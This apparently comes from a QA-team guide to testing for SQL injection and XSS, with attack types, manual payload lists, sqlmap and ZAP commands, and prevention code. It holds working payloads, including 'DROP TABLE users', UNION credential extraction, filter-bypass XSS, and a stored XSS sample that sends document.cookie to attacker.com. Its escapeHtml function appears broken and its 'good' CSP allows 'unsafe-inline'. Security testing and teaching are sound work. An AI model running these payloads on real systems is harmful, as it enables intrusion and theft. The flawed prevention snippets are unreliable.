SQL injection and XSS remain the most exploited web application vulnerabilities: according to OWASP Top 10 2021, injection attacks (A03) affect 94% of applications tested, and XSS (included in A03) is found in 41% of web applications during security assessments. Verizon DBIR 2024 reports that 40% of confirmed data breaches involved web application attacks, with SQL injection as a leading vector. Despite decades of awareness, these vulnerabilities persist because developers mix user input with query logic and render unsanitized content in the browser. For QA teams, testing for SQL injection and XSS must be part of every sprint cycle — both as manual exploratory checks and automated DAST scans in CI/CD pipelines. This guide covers detection techniques, manual payload testing, automated tooling with sqlmap and ZAP, and prevention patterns that QA engineers should verify during code review and testing.
TL;DR: SQL injection and XSS are still in OWASP Top 10 because they’re easy to introduce and hard to fully eliminate. Test with single quotes and script tags in all input fields, use sqlmap and Burp Suite for automated scanning, and verify parameterized queries and output encoding in code review. Both can be fully prevented — test that they are.
SQL (as discussed in OWASP ZAP Automation: Security Scanning in CI/CD) Injection and Cross-Site Scripting (XSS) remain among the most critical web application vulnerabilities. Understanding how to detect, test, and prevent these attacks is essential for QA professionals working on security (as discussed in Penetration Testing Basics for QA Testers) testing.
SQL Injection
Types of SQL Injection
1. Classic SQL Injection
-- Vulnerable code
SELECT * FROM users WHERE username = '$username' AND password = '$password'
-- Attack payload
username: admin' OR '1'='1
password: anything
-- Resulting query
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'anything'
2. Blind SQL Injection
-- Time-based blind injection
admin' AND SLEEP(5)--
-- Boolean-based blind injection
admin' AND 1=1-- (true condition)
admin' AND 1=2-- (false condition)
3. Union-Based Injection
-- Extract data from other tables
' UNION SELECT username, password FROM admin_users--
Testing for SQL Injection
Manual Testing Payloads:
' OR '1'='1
'; DROP TABLE users; --
' UNION SELECT NULL, NULL, NULL--
admin'--
' OR 1=1--
Automated Testing:
# SQLMap
sqlmap -u "http://example.com/login" --data="username=test&password=test" --batch
# OWASP (as discussed in [Security Testing for QA: A Practical Guide](/blog/security-testing-for-qa)) ZAP
zap-cli quick-scan http://example.com
Prevention
# Bad: String concatenation
query = f"SELECT * FROM users WHERE id = {user_id}"
# Good: Parameterized queries
query = "SELECT * FROM users WHERE id = ?"
cursor.execute(query, (user_id,))
# Good: ORM usage
user = User.objects.get(id=user_id)
Cross-Site Scripting (XSS)
Types of XSS
1. Reflected XSS
// URL: http://example.com/search?q=<script>alert('XSS')</script>
// Vulnerable code
<div>Search results for: <?php echo $_GET['q']; ?></div>
2. Stored XSS
// Malicious comment stored in database
<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie)
</script>
3. DOM-Based XSS
// Vulnerable code
document.getElementById('output').innerHTML = location.hash.substr(1);
// Attack URL
http://example.com/#<img src=x onerror=alert('XSS')>
Testing for XSS
Basic Payloads:
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg/onload=alert('XSS')>
<iframe src="javascript:alert('XSS')">
Advanced Payloads:
// Bypass filters
<ScRiPt>alert('XSS')</ScRiPt>
<img src="x" onerror="eval(atob('YWxlcnQoJ1hTUycp'))">
// Event handlers
<div onmouseover="alert('XSS')">Hover me</div>
<body onload=alert('XSS')>
XSS Prevention
// Bad: Direct HTML insertion
element.innerHTML = userInput;
// Good: Text content
element.textContent = userInput;
// Good: Escaping
function escapeHtml(text) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
};
return text.replace(/[&<>"']/g, m => map[m]);
}
// Good: Content Security Policy
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'
Testing Tools
| Tool | Type | Best For |
|---|---|---|
| SQLMap | SQL Injection | Automated SQLi detection |
| Burp Suite | Manual Testing | Intercepting and modifying requests |
| OWASP ZAP | Automated Scanner | General vulnerability scanning |
| XSStrike | XSS Testing | Advanced XSS detection |
| Acunetix | Commercial | Comprehensive scanning |
“SQL injection and XSS are not exotic attacks — they’re the mundane failures of teams that skip input validation. QA’s job is to find them before attackers do, every sprint, not just in security audits.” — Yuri Kan, Senior QA Lead
Conclusion
SQL Injection and XSS remain critical vulnerabilities that QA teams must actively test for. Use combination of manual and automated testing, implement proper input validation and output encoding, and continuously monitor for new attack vectors.
FAQ
What is SQL injection and how do you test for it?
SQL injection occurs when user input is included in a database query without sanitization, letting attackers modify query logic. Test by inserting payloads like ', OR 1=1--, and UNION SELECT in all input fields. According to OWASP Testing Guide v4.2, injection is the highest-priority vulnerability class to test. Use sqlmap for automated scanning and Burp Suite for manual verification.
What is the difference between stored XSS and reflected XSS?
Reflected XSS: the malicious script is in the URL and immediately returned in the response — requires social engineering to exploit. Stored XSS: the script is saved to the database and executes for every user who views the affected page — much higher impact. DOM-based XSS manipulates the page DOM client-side without a server round-trip. PortSwigger Web Security Academy covers all three types with interactive labs.
What tools are used for SQL injection and XSS testing?
Common tools: sqlmap (automated SQL injection scanner), Burp Suite (manual proxy with scanner), OWASP ZAP (free automated scanner), and browser DevTools for manual payload injection. For CI/CD integration, DAST tools like ZAP integrate into pipelines to catch vulnerabilities on every build.
How do you prevent SQL injection in modern applications?
Use parameterized queries (prepared statements) — never concatenate user input into SQL strings. Apply an ORM with parameterization, validate and whitelist input, use least-privilege database accounts, and implement WAF rules. Modern frameworks like Django, Rails, and Hibernate handle parameterization automatically when used correctly.
Official Resources
- OWASP Top 10 2021 — definitive list of critical web application security risks
- OWASP Testing Guide v4.2 — comprehensive security testing methodology
- sqlmap Documentation — automated SQL injection detection tool
- PortSwigger Web Security Academy — free XSS and injection labs
See Also
- Burp Suite for QA Engineers: Complete Security Testing Guide - Security testing with Burp: proxy setup, scanner, intruder,…
- Grafana & Prometheus: Complete Performance Monitoring Stack - Performance monitoring stack: metrics collection with Prometheus,…
- Database Performance Testing: Query Optimization - Database optimization testing: query performance, indexing,…
- API Security Testing: Complete Guide to OAuth, JWT, and API Keys - Secure APIs testing: OAuth flows, JWT validation, API key…
